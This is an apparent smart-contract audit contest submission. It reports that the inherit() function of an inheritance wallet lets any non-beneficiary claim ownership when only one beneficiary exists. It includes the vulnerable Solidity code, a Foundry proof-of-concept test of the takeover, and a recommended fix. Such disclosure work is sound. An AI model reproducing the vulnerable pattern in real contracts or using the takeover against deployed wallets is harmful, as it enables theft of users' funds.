Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The InheritanceManager::inherit() can be called by Nonbeneficiary and there by making such nonbeneficiary the new owner of the contract

docweb3

Summary

Non Beneficiary can take over the contract in case only one beneficiary is added to the contract

Vulnerability Details

Incase there is a single beneficiary that is added to the contract, an attacker that has not been added to the list of beneficiaries can call this function: https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L217

js```

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

js```

and thereby take over the contract as the owner after the deadline.

Impact

Nonbeneficiary can inherit the contract

Tools Used

Foundry

The owner added just one beneficairy to the contract but the attacker in the code below was not added and was still able to be the new owner of the contract

Copy and paste this in InheritanceManager.t.sol

function test_inheritByNonBeneficiary() public {
address attacker = makeAddr("attacker");
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 10e10);
vm.warp(1 + 90 days);
vm.startPrank(attacker);
im.inherit();
vm.stopPrank();
assertEq(attacker, im.getOwner());
}

Then run

forge test --mt test_inheritByNonBeneficiary

The ouput will be

js```

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_inheritByNonBeneficiary() (gas: 90939)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.79ms (968.60µs CPU time)

js```

Recommendations

Incase of one beneficiary, the Owner should be change to the only beneficiary in the array of beneficiaries instead of the caller of the contract i.e msg.sender should be replaced by the only beneficiary in the array

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
// owner = msg.sender; this should be removed and changed to
owner = beneficiaries[0];
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
​
Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.